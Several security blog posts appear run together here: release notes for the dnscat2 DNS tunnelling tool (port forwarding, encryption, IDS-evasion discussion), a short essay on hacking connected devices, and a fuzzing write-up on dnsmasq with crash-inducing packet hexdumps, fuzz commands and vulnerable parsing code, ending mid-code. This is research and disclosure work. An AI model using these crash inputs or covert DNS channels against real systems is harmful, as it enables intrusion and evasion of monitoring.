The problem is that I'd connect with a client, hard-kill it with ctrl-c (so it doesn't tell the server it's gone), then start another one. When the second client connects, the server won't be able to listen anymore:

Listening on 0.0.0.0:4444, sending connections to localhost:5555
Sorry, that address:port is already in use: Address already in use - bind(2)

If you kill a session from the root window with the 'kill'
command, it will free the socket. You can get a list of which
sockets are being used with the 'tunnels' command!

I realize this is super awkward.. don't worry, it'll get
better next version! Stay tuned!

If you know which session is the problem, it's pretty easy.. just kill it from the main window (Window 0 - press ctrl-z to get there):

dnscat2> kill 1
Session 1 has been sent the kill signal!
Session 1 killed: No reason given

If you don't know which session it is, you have to go into each session and run tunnels to figure out which one is holding the port open:

dnscat2> session -i 1
[...]
command (ankh) 1> tunnels
Tunnel listening on 0.0.0.0:2222
Tunnel listening on 0.0.0.0:1234
Tunnel listening on 0.0.0.0:4444

Once that's done, you can either use the 'shutdown' command (if the session is still active) or go back to the main window and use the kill command.

I realize that's super awkward, and I have a plan to fix it. It's going to require some refactoring, though, and it won't be ready for a few more days. And I really wanted to get this release out before Christmas!

Implementation details

As usual, the implementation is documented in detail in the protocol.md and command_protocol.md docs.

Basically, I extended the "command protocol", which is the protocol that's used for commands like upload, download, ping, shell, exec, etc.

Traditionally, the command protocol was purely the server making a request and the client responding to the request. For example, "download /etc/passwd" "okay, here it is". However, the tunnel protocol works a bit differently, because either side can send a request.

Unfortunately, the client sending a request to the server, while it was something I'd planned and written code for, had a fatal flaw: there was no way to identify a request as a request, and therefore when the client sent a request to the server it had to rely on some rickety logic to determine if it was a request or not. As a result, I made a tough call: I broke compatibility by adding a one-bit "is a response?" field to the start of request_id - responses now have the left-most bit set of the request_id.

At any time - presumably when a connection comes in, but we'll see what the future holds! - the server can send a TUNNEL_CONNECT request to the client, which contains a hostname and port number. That tells the client to make a connection to that host:port, which it attempts to do. If the connection is successful, the client responds with a TUNNEL_CONNECT response, which simply contains the tunnel_id.

From then on, data can be sent in either direction using TUNNEL_DATA requests. This is the first time the client has been able to send a request to the server, and is also the first time a message was defined that doesn't have a response - neither side should (or can) respond to a TUNNEL_DATA message. Which is fine, because we have guaranteed delivery from lower level protocols.

When either side decides to terminate the connection, it sends a TUNNEL_CLOSE request, which contains a tunnel_id and a reason string.

One final implementation detail: tunnel_ids are local to a session.

Future plans

As I said at the start, I've implemented ssh -L. My next plans are to implement ssh -D (easysauce!) and ssh -R (hardersauce!). I also have some other fun ideas on what I can do with the tunnel protocol, so stay tuned for that. :)

The tricky part about ssh -R is keeping it secure. The client shouldn't be able to arbitrarily forward connections via the server - the server should be able to handle malicious clients securely, at least by default. Therefore, it's going to require some extra planning and architecting!

Conclusion

And yeah, that's pretty much it! As always, if you like this blog or the work I'm doing on dnscat2, you can support me on Patreon! Seriously, I have no ads or monetization on my site, and I spend more money on hosting password lists than I make off it, so if you wanna be awesome and help out, I really, really appreciate it! :)

And as always, I'm happy to answer questions or take feature requests! You're welcome to email me, reply to this blog, or file an issue on Github!

dnscat2: now with crypto!

Hey everybody,

Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default!

Read on for some user information, then some implementation details for those who are interested! For all the REALLY gory information, check out the protocol doc!

Tell me what's new!

By default, when you start a dnscat2 client, it now performs a key exchange with the server, and uses a derived session key to encrypt all traffic. This has the huge advantage that passive surveillance and IDS and such will no longer be able to see your traffic. But the disadvantage is that it's vulnerable to a man-in-the-middle attack - assuming somebody takes the time and effort to perform a man-in-the-middle attack against dnscat2, which would be awesome but seems unlikely. :)

By default, all connections are encrypted, and the server will refuse to allow cleartext connections. If you start the server with --security=open (or run set security=open), then the client decides the security level - including cleartext.

If you pass the server a --secret string (see below), then the server will require clients to authenticate using the same --secret value. That can be turned off by using --security=open or --security=encrypted (or the equivalent set commands).

Let's look at the man-in-the-middle protection...

Short authentication strings

First, by default, a short authentication string is displayed on both the client and the server. Short authentication strings, inspired by ZRTP and Silent Circle, are a visual way to tell if you're the victim of a man-in-the-middle attack.

Essentially, when a new connection is created, the user has to manually match the short authentication strings on the client and the server. If they're the same, then it's a legit connection. Here's what it looks like on the client:

Encrypted session established! For added security, please verify the server also displays this string:

Tort Hither Harold Motive Nuns Unwrap

And the server:

New window created: 1
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:

>> Tort Hither Harold Motive Nuns Unwrap

There are 256 different possible words, so six words gives 48 bits of protection. While a 48-bit key can eventually be bruteforced, in this case it has to be done in real time, which is exceedingly unlikely.

Authentication

Alternatively, a pre-shared secret can be used instead of a short authentication string. When you start the server, you pass in a --secret value, such as --secret=pineapple. Clients with the same secret will create an authenticator string based on the password and the cryptographic keys, and send it to the server, encrypted, after the key exchange. Clients that use the wrong key will be summarily rejected.

Details on how this is implemented are below.

How stealthy is it?

To be perfectly honest: not completely.

The key exchange is pretty obvious. A 512-bit value has to be sent via DNS, and a 512-bit response has to come back. That's pretty big, and stands out.

After that, every packet has an unencrypted 40-bit (5-byte) header and an unencrypted 16-bit (2-byte) nonce. The header contains three bytes that don't really change, and the nonce is incremental. Any system that knows to look for dnscat2 will be able to find that.

It's conceivable that I could make this more stealthy, but anybody who's already trying to detect dnscat2 traffic will be able to update the signatures that they would have had to write anyway, so it becomes a cat-and-mouse game.

Of course, that doesn't stop people from patching things. :)

The plus side, however, is that none of your data leaks! And somebody would have to be specifically looking for dnscat2 traffic to recognize it.

What are the hidden costs?

Encrypted packets have 64 bits (8 bytes) of extra overhead: a 16-bit (two-byte) nonce and a 48-bit (six-byte) signature on each packet. Since DNS packets have between 200 and 250 bytes of payload space, that means we lose ~4% of our potential bandwidth.

Additionally, there's a key exchange packet and potentially an authentication packet. That's two extra roundtrips over a fairly slow protocol.

Other than that, not much changes, really. The encryption/decryption/signing/validation are super fast, and it uses a stream cipher so the length of the messages don't change.

How do I turn it off?

The server always supports crypto; if you don't WANT crypto, you'll have to manually hack the server or use a version of dnscat2 server <=0.03. But you'll have to manually turn off encryption in the client; otherwise, the connection fail.

Speaking of turning off encryption in the client: you can compile without encryption by using make nocrypto. You can also disable encryption at runtime with dnscat2 --no-encryption. On Visual Studio, you'll have to define "NO_ENCRYPTION". Note that the server, by default, won't allow either of those to connect unless you start it with --security=open.

Give me some technical details!

Your best bet if you're REALLY curious is to check out the protocol doc, where I document the protocol in full.

But I'll summarize it here. :)

The client starts a session by initiating a key exchange with the server. Both sides generate a random, 256-bit private key, then derive a public key using Elliptic Curve Diffie Hellman (ECDH). The client sends the public key to the server, the server sends a public key to the client, and they both agree on a shared secret.

That shared secret is hashed with a number of different values to derive purpose-specific keys - the client encryption key, the server encryption key, the client signing key, the server signing key, etc.

Once the keys are agreed upon, all packets are encrypted and signed. The encryption is salsa20 and uses one of the derived keys as well as an incremental nonce. After being encrypted, the encrypted data, the nonce, and the packet header are signed using SHA3, but truncated to 48 bits (6 bytes). 48 bits isn't very long for a signature, but space is at an extreme premium and for most attacks it would have to be broken in real time.

As an aside: I really wanted to encrypt the header instead of just signing it, but because of protocol limitations, that's simply not possible (because I have no way of knowing which packets belong to which session, the session_id has to be plaintext).

Immediately after the key exchange, the client optionally sends an authenticator over the encrypted session. The authenticator is based on a pre-shared secret (passed on the commandline) that the client and server pre-arrange in some way. That secret is hashed with both public keys and the secret (derived) key, as well as a different static string on the client and server. The client sends their authenticator to the server, and the server sends their authenticator to the client. In that way, both sides verify each other without revealing anything.

If the client doesn't send the authenticator, then a short authentication string is generated. It's based on a very similar hash to the authenticator, except without the pre-shared secret. The first 6 bytes are converted into words using a list of 256 English words, and are displayed on the screen. It's up to the user to verify them.

Because the nonce is only 16 bits, only 65536 roundtrips can be performed before running out. As such, the client may, at its own discretion (but before running out), initiate a new key exchange. It's identical to the original key exchange, except that it happens in a signed and encrypted packet. After the renegotiation is finished, both the client and server switch their nonce values back to 0 and stop accepting packets with the old keys.

And... that's about it! Keys are exchanged, an authenticator is sent or a short authentication string is displayed, all messages are signed and encrypted, and that's that!

Challenges

A few of the challenges I had to work through...

  • Because DNS has no concept of connections/sessions, I had to expose more information that I wanted in the packets (and because it's extremely length-limited, I had to truncate signatures)
  • I had originally planned to use Curve25519 for the key exchange, but there's no Ruby implementation
  • Finding a C implementation of ECC that doesn't require libcrypto or libssl was really hard
  • Finding a working SHA3 implementation in Ruby was impossible! I filed bugs against the three more popular implementations and one of them actually took the time to fix it!
  • Dealing with DNS's gratuitous retransmissions and accidental drops was super painful and required some hackier code than I like to see in crypto (for example, an old key can still be used, even after a key exchange, until the new one is used successfully; the more secure alternative can't handle a dropped response packet, otherwise both peers would have different keys)

Shouts out

I just wanted to do a quick shout out to a few friends who really made this happen by giving me advice, encouragement, or just listening to me complaining.

So, in alphabetical order so nobody can claim I play favourites, I want to give mad propz to:

  • Alex Weber, who notably convinced me to use a proper key exchange protocol instead of just a static key (and who also wrote the Salsa20 implementation I used
  • Brandon Enright, who give me a ton of handy crypto advice
  • Eric Gershman, who convinced me to work on encryption in the first place, and who listened to my constant complaining about how much I hate implementing crypto

Hacking SMART services in Cars, Homes, and Medical Devices – a cinch!


Businesses are reinventing themselves by transforming traditional services and service delivery into digital services. Digital services utilize smart products to provide enhanced service quality, additional features and to collect data that can be used to improve performance. Smart products can be remotely controlled using Wi-Fi or cellular connections, software, sensors that makes smart dumb devices, cloud infrastructure and mobiles.
Examples of digital products and services are network connected cars, home appliances, surveillance systems, wearables, medical devices, rifles and so on. Very recently ethical hackers exploited a software glitch that allowed them to take control of a Jeep Cherokee while on the road and drive it into a ditch. All this with the hapless driver at the wheel!

While the car hack made headlines and led to the recall of 1.4 m vehicles, it also signaled the beginning of an era where cyber-attacks or software glitches cause physically harm to cyber citizens, blurring the lines between safety and security. Cyber-attacks in the near future will do a lot more damage than destroy reputations, steal money or spy on intimate moments people would prefer to keep private, it may maim or kill in a targeted or random fashion and that too in the privacy of one’s own home.
The severity of some of the demonstrated exploits by ethical hackers were downplayed because the attacker required physical access to the vehicle to execute the attack. I for one, do not know what happens to my vehicle while it is serviced or valet parked, both ideal opportunities to fiddle with the electronic systems and even modify the firmware.

All smart devices will be connected and updatable over wireless networks. Wireless updates are ideal opportunities for hackers to obtain access or control over these devices. However, digital products or services must have built in defenses not only for over the air hacks but equally on risks from technicians, mechanics or others that have physical access to the smart infrastructure.
Startups with limited budgets may struggle to provide adequate security to their new incubations, allowing ample opportunity for maliciously minded individuals and cyber criminals to find ways to compromise the service. Investment in smart product security will be driven by liabilities around safety regulations, compliance and strict penal provisions.

How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq

If you know me, you know that I love DNS. I'm not exactly sure how that happened, but I suspect that Ed Skoudis is at least partly to blame.

Anyway, a project came up to evaluate dnsmasq, and being a DNS server - and a key piece of Internet infrastructure - I thought it would be fun! And it was! By fuzzing in a somewhat creative way, I found a really cool vulnerability that's almost certainly exploitable (though I haven't proven that for reasons that'll become apparent later).

Although I started writing an exploit, I didn't finish it. I think it's almost certainly exploitable, so if you have some free time and you want to learn about exploit development, it's worthwhile having a look! Here's a link to the actual distribution of a vulnerable version, and I'll discuss the work I've done so far at the end of this post.

You can also download my branch, which is similar to the vulnerable version (branched from it), the only difference is that it contains a bunch of fuzzing instrumentation and debug output around parsing names.

dnsmasq

For those of you who don't know, dnsmasq is a service that you can run that handles a number of different protocols designed to configure your network: DNS, DHCP, DHCP6, TFTP, and more. We'll focus on DNS - I fuzzed the other interfaces and didn't find anything, though when it comes to fuzzing, absence of evidence isn't the same as evidence of absence.

It's primarily developed by a single author, Simon Kelley. It's had a reasonably clean history in terms of vulnerabilities, which may be a good thing (it's coded well) or a bad thing (nobody's looking) :)

At any rate, the author's response was impressive. I made a little timeline:

  • May 12, 2015: Discovered
  • May 14, 2015: Reported to project
  • May 14, 20252015: Project responded with a patch candidate
  • May 15, 2015: Patch committed

The fix was actually pushed out faster than I reported it! (I didn't report for a couple days because I was trying to determine how exploitable / scary it actually is - it turns out that yes, it's exploitable, but no, it's not scary - we'll get to why at the end).

DNS - the important bits

The vulnerability is in the DNS name-parsing code, so it makes sense to spend a little time making sure you're familiar with DNS. If you're already familiar with how DNS packets and names are encoded, you can skip this section.

Note that I'm only going to cover the parts of DNS that matter to this particular vulnerability, which means I'm going to leave out a bunch of stuff. Check out the RFCs (rfc1035, among others) or Wikipedia for complete details. As a general rule, I encourage everybody to learn enough to manually make requests to DNS servers, because that's an important skill to have - plus, it's only like 16 bytes to remember. :)

DNS, at its core, is actually rather simple. A client wants to look up a hostname, so it sends a DNS packet containing a question to a DNS server (on UDP port 53, normally, but TCP can be used as well). Some magic happens, involving caches and recursion, then the server replies with a DNS message containing the original question, and zero or more answers.

DNS packet structure

The structure of a DNS packet is:

  • (int16) transaction id (trn_id)
  • (int16) flags (which include QR [query/response], opcode, RD [recursion desired], RA [recursion available], and probably other stuff that I'm forgetting)
  • (int16) question count (qdcount)
  • (int16) answer count (ancount)
  • (int16) authority count (nscount)
  • (int16) additional count (arcount)
  • (variable) questions
  • (variable) answers
  • (variable) authorities
  • (variable) additionals

The last four fields - questions, answers, authorities, and additionals - are collectively called "resource records". Resource records of different types have different properties, but we aren't going to worry about that. The general structure of a question record is:

  • (variable) name (the important part!)
  • (int16) type (A/AAAA/CNAME/etc.)
  • (int16) class (basically always 0x0001, for Internet addresses)

DNS names

Questions and answers typically contain a domain name. A domain name, as we typically see it, looks like:

this.is.a.name.skullseclabs.org

But in a resource records, there aren't actually any periods, instead, each field is preceded by its length, with a null terminator (or a zero-length field) at the end:

\x04this\x02is\x01a\x04name\x0cskullseclabs\x03org\x00

The maximum length of a field is 63 - 0x3f - bytes. If a field starts with 0x40, 0x80, 0xc0, and possibly others, it has a special meaning (we'll get to that shortly).

Questions and answers

When you send a question to a DNS server, the packet looks something like:

  • (header)
  • question count = 1
  • question 1: ANY record for skullsecurity.org?

and the response looks like:

  • (header)
  • question count = 1
  • answer count = 11
  • question 1: ANY record for "skullsecurity.org"?
  • answer 1: "skullsecurity.org" has a TXT record of "oh hai NSA"
  • answer 2: "skullsecurity.org" has a MX record for "ASPMX.L.GOOGLE.com".
  • answer 3: "skullsecurity.org" has a A record for "206.220.196.59"
  • ...

(yes, those are some of my real records :) )

If you do the math, you'll see that "skullsecurity.org" takes up 18 bytes, and would be included in the response packet 12 times, counting the question, which means we're effectively wasting 18 * 11 or close to 200 bytes. In the old days, 200 bytes were a lot. Heck, in the new days, 200 bytes are still a lot when you're dealing with millions of requests.

Record pointers

Remember how I said that name fields starting with numbers above 63 - 0x3f - are special? Well, the one we're going to pay attention to is 0xc0.

0xc0 effectively means, "the next byte is a pointer, starting from the first byte of the packet, to where you can find the rest of the name".

So typically, you'll see:

  • 12-bytes header (trn_id + flags + counts)
  • question 1: ANY record for "skullsecurity.org"
  • answer 1: \xc0\x0c has a TXT record of "oh hai NSA"
  • answer 2: \xc0\x0c ...

"\xc0" indicates a pointer is coming, and "\x0c" says "look 0x0c (12) bytes from the start of the packet", which is immediately after the header. You can also use it as part of a domain name, so your answer could be "\x03www\xc0\x0c", which would become "www.skullsecurity.org" (assuming that string was 12 bytes from the start).

This is only mildly relevant, but a common problem that DNS parsers (both clients and servers) have to deal with is the infinite loop attack. Basically, the following packet structure:

  • 12-byte header
  • question 1: ANY record for "\xc0\x0c"

Because question 1 is self-referential, it reads itself over and over and the name never finishes parsing. dnsmasq solves this by limiting reference to 256 hops - that decision prevents a denial-of-service attack, but it's also what makes this vulnerability likely exploitable. :)

Setting up the fuzz

All right, by now we're DNS experts, right? Good, because we're going to be building a DNS packet by hand right away!

Before we get to the actual vulnerability, I want to talk about how I set up the fuzzing. Being a networked application, it makes sense to use a network fuzzer; however, I really wanted to try out afl-fuzz from lcamtuf, which is a file-format fuzzer.

afl-fuzz works as an intelligent file-format fuzzer that will instrument the executable (either by specially compiling it or using binary analysis) to determine whether or not it's hitting "new" code on each execution. It optimizes each cycle to take advantage of all the new code paths it's found. It's really quite cool!

Unfortunately, DNS doesn't use files, it uses packets. But because the client and server each process only one single packet at a time, I decided to modify dnsmasq to read a packet from a file, parse it (either as a request or a response), then exit. That made it possible to fuzz with afl-fuzz.

Unfortunately, that was actually pretty non-trivial. The parsing code and networking code were all mixed together. I ended up re-implementing "recv_msg()" and "recv_from()", among other things, and replacing their calls to those functions. That could also be done with a LD_PRELOAD hook, but because I had source that wasn't necessary. If you want to see the changes I made to make it possible to fuzz, you can search the codebase for "#ifdef FUZZ" - I made the fuzzing stuff entirely optional.

If you want to follow along, you should be able to reproduce the crash with the following commands (I'm on 64-bit Linux, but I don't see why it wouldn't work elsewhere):

$ git clone https://github.com/iagox86/dnsmasq-fuzzing
Cloning into 'dnsmasq-fuzzing'...
[...]
$ cd dnsmasq-fuzzing/
$ CFLAGS=-DFUZZ make -j10
[...]
$ ./src/dnsmasq -d --randomize-port --client-fuzz fuzzing/crashes/client-heap-overflow-1.bin
dnsmasq: started, version  cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth DNSSEC loop-detect inotify
dnsmasq: reading /etc/resolv.conf
[...]
Segmentation fault

Warning: DNS is recursive, and in my fuzzing modifications I didn't disable the recursive requests. That means that dnsmasq will forward some of your traffic to upstream DNS servers, and that traffic could impact those severs (and I actually proved that, by accident; but we won't get into that :) ).

Doing the actual fuzzing

Once you've set up the program to be fuzzable, fuzzing it is actually really easy.

First, you need a DNS request and response - that way, we can fuzz both sides (though ultimately, we don't need to for this particular vulnerability, since both the request and response parse names).

If you've wasted your life like I have, you can just write the request by hand and send it to a server, then capture the response:

$ mkdir -p fuzzing/client/input/
$ mkdir -p fuzzing/client/output/
$ echo -ne "\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06google\x03com\x00\x00\x01\x00\x01" > fuzzing/client/input/request.bin
$ mkdir -p fuzzing/server/input/
$ mkdir -p fuzzing/server/output/
$ cat request.bin | nc -vv -u 8.8.8.8 53 > fuzzing/server/input/response.bin

To break down the packet, in case you're curious

  • "\x12\x34" - trn_id - just a random number
  • "\x01\x00" - flags - I think that flag is RD - recursion desired
  • "\x00\x01" - qdcount = 1
  • "\x00\x00" - ancount = 0
  • "\x00\x00" - nscount = 0
  • "\x00\x00" - arcount = 0
  • "\x06google\x03com\x00" - name = "google.com"
  • "\x00\x01" - type = A record
  • "\x00\x01" - class = IN (Internet)

You can verify it's working by hexdump'ing the response:

$ hexdump -C response.bin
00000000  12 34 81 80 00 01 00 0b  00 00 00 00 06 67 6f 6f  |.4...........goo|
00000010  67 6c 65 03 63 6f 6d 00  00 01 00 01 c0 0c 00 01  |gle.com.........|
00000020  00 01 00 00 01 2b 00 04  ad c2 21 67 c0 0c 00 01  |.....+....!g....|
00000030  00 01 00 00 01 2b 00 04  ad c2 21 66 c0 0c 00 01  |.....+....!f....|
00000040  00 01 00 00 01 2b 00 04  ad c2 21 69 c0 0c 00 01  |.....+....!i....|
00000050  00 01 00 00 01 2b 00 04  ad c2 21 68 c0 0c 00 01  |.....+....!h....|
00000060  00 01 00 00 01 2b 00 04  ad c2 21 63 c0 0c 00 01  |.....+....!c....|
00000070  00 01 00 00 01 2b 00 04  ad c2 21 61 c0 0c 00 01  |.....+....!a....|
00000080  00 01 00 00 01 2b 00 04  ad c2 21 6e c0 0c 00 01  |.....+....!n....|
00000090  00 01 00 00 01 2b 00 04  ad c2 21 64 c0 0c 00 01  |.....+....!d....|
000000a0  00 01 00 00 01 2b 00 04  ad c2 21 60 c0 0c 00 01  |.....+....!`....|
000000b0  00 01 00 00 01 2b 00 04  ad c2 21 65 c0 0c 00 01  |.....+....!e....|
000000c0  00 01 00 00 01 2b 00 04  ad c2 21 62              |.....+....!b|

Notice how it starts with "\x12\x34" (the same transaction id I sent), has a question count of 1, has an answer count of 0x0b (11), and contains "\x06google\x03com\x00" 12 bytes in (that's the question). That's basically what we discussed earlier. But the important part is, it has "\xc0\x0c" throughout. In fact, every answer starts with "\xc0\x0c", because every answer is to the first and only question.

That's exactly what I was talking about earlier - each of those 11 instances of "\xc0\x0c" saved about 10 bytes, so the packet is 110 bytes shorter than it would otherwise have been.

Now that we have a base case for both the client and the server, we can compile the binary with afl-fuzz's instrumentation. Obviously, this command assumes that afl-fuzz is stored in "~/tools/afl-1.77b" - change as necessary. If you're trying to compile the original code, it doesn't accept CC= or CFLAGS= on the commandline unless you apply this patch first.

Here's the compile command:

$ CC=~/tools/afl-1.77b/afl-gcc CFLAGS=-DFUZZ make -j20

and run the fuzzer:

$ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/client/input/ -o fuzzing/client/output/ ./dnsmasq --client-fuzz=@@

you can simultaneously fuzz the server, too, in a different window:

$ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/server/input/ -o fuzzing/server/output/ ./dnsmasq --server-fuzz=@@

then let them run a few hours, or possibly overnight.

For fun, I ran a third instance:

$ mkdir -p fuzzing/hello/input
$ echo "hello" > fuzzing/hello/input/hello.bin
$ mkdir -p fuzzing/hello/output
$ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/fun/input/ -o fuzzing/fun/output/ ./dnsmasq --server-fuzz=@@

...which, in spite of being seeded with "hello" instead of an actual DNS packet, actually found an order of magnitude more crashes than the proper packets, except with much, much uglier proofs of concept.. :)

Fuzz results

I let this run overnight, specifically to re-create the crashes for this blog. In the morning (after roughly 20 hours of fuzzing), the results were:

  • 7 crashes starting with a well formed request
  • 10 crashes starting from a well formed response
  • 93 crashes starting from "hello"

You can download the base cases and results here, if you want.

Triage

Although we have over a hundred crashes, I know from experience that they're all caused by the same core problem. But not knowing that, I need to pick something to triage! The difference between starting from a well formed request and starting from a "hello" string is noticeable... to take the smallest PoC from "hello", we have:

crashes $ hexdump -C id\:000024\,sig\:11\,src\:000234+000399\,op\:splice\,rep\:16
00000000  68 00 00 00 00 01 00 02  e8 1f ec 13 07 06 e9 01  |h...............|
00000010  67 02 e8 1f c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |g...............|
00000020  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
00000030  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 b8 c0 c0 c0 c0 c0  |................|
00000040  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
00000050  c0 c0 c0 c0 c0 c0 c0 c0  c0 af c0 c0 c0 c0 c0 c0  |................|
00000060  c0 c0 c0 c0 cc 1c 03 10  c0 01 00 00 02 67 02 e8  |.............g..|
00000070  1f eb ed 07 06 e9 01 67  02 e8 1f 2e 2e 10 2e 2e  |.......g........|
00000080  00 07 2e 2e 2e 2e 00 07  01 02 07 02 02 02 07 06  |................|
00000090  00 00 00 00 7e bd 02 e8  1f ec 07 07 01 02 07 02  |....~...........|
000000a0  02 02 07 06 00 00 00 00  02 64 02 e8 1f ec 07 07  |.........d......|
000000b0  06 ff 07 9c 06 49 2e 2e  2e 2e 00 07 01 02 07 02  |.....I..........|
000000c0  02 02 05 05 e7 02 02 02  e8 03 02 02 02 02 80 c0  |................|
000000d0  c0 c0 c0 c0 c0 c0 c0 c0  c0 80 1c 03 10 80 e6 c0  |................|
000000e0  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
000000f0  c0 c0 c0 c0 c0 c0 b8 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
00000100  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
00000110  c0 c0 c0 c0 c0 af c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
00000120  cc 1c 03 10 c0 01 00 00  02 67 02 e8 1f eb ed 07  |.........g......|
00000130  00 95 02 02 02 05 e7 02  02 10 02 02 02 02 02 00  |................|
00000140  00 80 03 02 02 02 f0 7f  c7 00 80 1c 03 10 80 e6  |................|
00000150  00 95 02 02 02 05 e7 67  02 02 02 02 02 02 02 00  |.......g........|
00000160  00 80                                             |..|

Or, if we run afl-tmin on it to minimize:

00000000  30 30 00 30 00 01 30 30  30 30 30 30 30 30 30 30  |00.0..0000000000|
00000010  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000020  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000030  30 30 30 30 30 30 30 30  30 30 30 30 30 c0 c0 30  |0000000000000..0|
00000040  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000050  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000060  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000070  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000080  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000090  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
000000a0  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
000000b0  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
000000c0  05 30 30 30 30 30 c0 c0

(note the 0xc0 at the end - our old friend - but instead of figuring out "\xc0\x0c", the simplest case, it found a much more complex case)

Whereas here are all four crashing messages from the valid request starting point:

crashes $ hexdump -C id\:000000\,sig\:11\,src\:000034\,op\:flip2\,pos\:24
00000000  12 34 01 00 00 01 00 00  00 00 00 00 06 67 6f 6f  |.4...........goo|
00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
0000001c
crashes $ hexdump -C id\:000001\,sig\:11\,src\:000034\,op\:havoc\,rep\:4
00000000  12 34 08 00 00 01 00 00  e1 00 00 00 06 67 6f 6f  |.4...........goo|
00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
0000001c
crashes $ hexdump -C id\:000002\,sig\:11\,src\:000034\,op\:havoc\,rep\:2
00000000  12 34 01 00 eb 00 00 00  00 00 00 00 06 67 6f 6f  |.4...........goo|
00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
crashes $ hexdump -C id\:000003\,sig\:11\,src\:000034\,op\:havoc\,rep\:4
00000000  12 34 01 00 00 01 01 00  00 00 10 00 06 67 6f 6f  |.4...........goo|
00000010  67 6c 65 03 63 6f 6d c0  0c 00 00 00 00 00 06 67  |gle.com........g|
00000020  6f 6f 67 6c 65 03 63 6f  6d c0 00 01 00 01        |oogle.com.....|
0000002e

The first three crashes are interesting, because they're very similar. The only differences are the flags field (0x0100 or 0x0800) and the count fields (the first is unmodified, the second has 0xe100 "authority" records listed, and the third has 0xeb00 "question" records). Presumably, that stuff doesn't matter, since random-looking values work.

Also note that near the end of every message, we see our old friend again: "\xc0\x0c".

We can run afl-tmin on the first one to get the tightest message we can:

00000000  30 30 30 30 30 30 30 30  30 30 30 30 06 30 6f 30  |000000000000.0o0|
00000010  30 30 30 03 30 30 30 c0  0c                       |000.000..|

As predicted, the question and answer counts don't matter. All that matters is the name's length fields and the "\xc0\x0c". Oddly it included the "o" from google.com, which is probably a bug (my fuzzing instrumentation isn't perfect because due to requests going to the Internet, the result isn't always deterministic).

The vulnerability

Now that we have a decent PoC, let's check it out in a debugger:

$ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./min.bin
Reading symbols from ./dnsmasq...done.
Unable to determine compiler version.
Skipping loading of libstdc++ pretty-printers for now.
(gdb) run
[...]
Program received signal SIGSEGV, Segmentation fault.
__strcpy_sse2 () at ../sysdeps/x86_64/multiarch/../strcpy.S:135
135     ../sysdeps/x86_64/multiarch/../strcpy.S: No such file or directory.

It crashed in strcpy. Fun! Let's see the line it crashed on:

(gdb) x/i $rip
=> 0x7ffff73cc600 <__strcpy_sse2+192>:  mov    BYTE PTR [rdx],al
(gdb) print/x $rdx
$1 = 0x0

Oh, a null-pointer write. Seems pretty lame.

Honestly, when I got here, I lost steam. Null-pointer dereferences need to be fixed, especially because they can hide other bugs, but they aren't going to earn me l33t status. So I would have to fix it or deal with hundreds of crappy results.

If we look at the packet in more detail, the name it's parsing is essentially: "\x06AAAAAA\x03AAA\xc0\x0c" (changed '0' to 'A' to make it easier on the eyes). The "\xc0\x0c" construct reference 12 bytes into the message, which is the start of the name. When it's parsed, after one round, it'll be "\x06AAAAAA\x03AAA\x06AAAAAA\x03AAA\xc0\x0c". But then it reaches the "\xc0\x0c" again, and goes back to the beginning. Basically, it infinite loops in the name parser.

So, it's obvious that a self-referential name causes the problem. But why?

I tracked down the code that handles 0xc0. It's in rfc1035.c, and looks like:

     if (label_type == 0xc0) /* pointer */
        {
          if (!CHECK_LEN(header, p, plen, 1))
            return 0;

          /* get offset */
          l = (l&0x3f) << 8;
          l |= *p++;

          if (!p1) /* first jump, save location to go back to */
            p1 = p;

          hops++; /* break malicious infinite loops */
          if (hops > 255)
          {
            printf("Too many hops!\n");
            printf("Returning: [%d] %s\n", ((uint64_t)cp) - ((uint64_t)name), name);
            return 0;
          }

          p = l + (unsigned char *)header;
        }

If look at that code, everything looks pretty okay (and for what it's worth, the printf()s are my instrumentation and aren't in the original). If that's not the problem, the only other field type being parsed is the name part (ie, the part without 0x40/0xc0/etc. in front). Here's the code (with a bunch of stuff removed and the indents re-flowed):

  namelen += l;
  if (namelen+1 >= MAXDNAME)
  {
    printf("namelen is too long!\n"); /* <-- This is what triggers. */
    printf("Returning: [%d] %s\n", ((uint64_t)cp) - ((uint64_t)name), name);
    return 0;
  }
  if (!CHECK_LEN(header, p, plen, l))
  {
    printf("CHECK_LEN failed!\n");
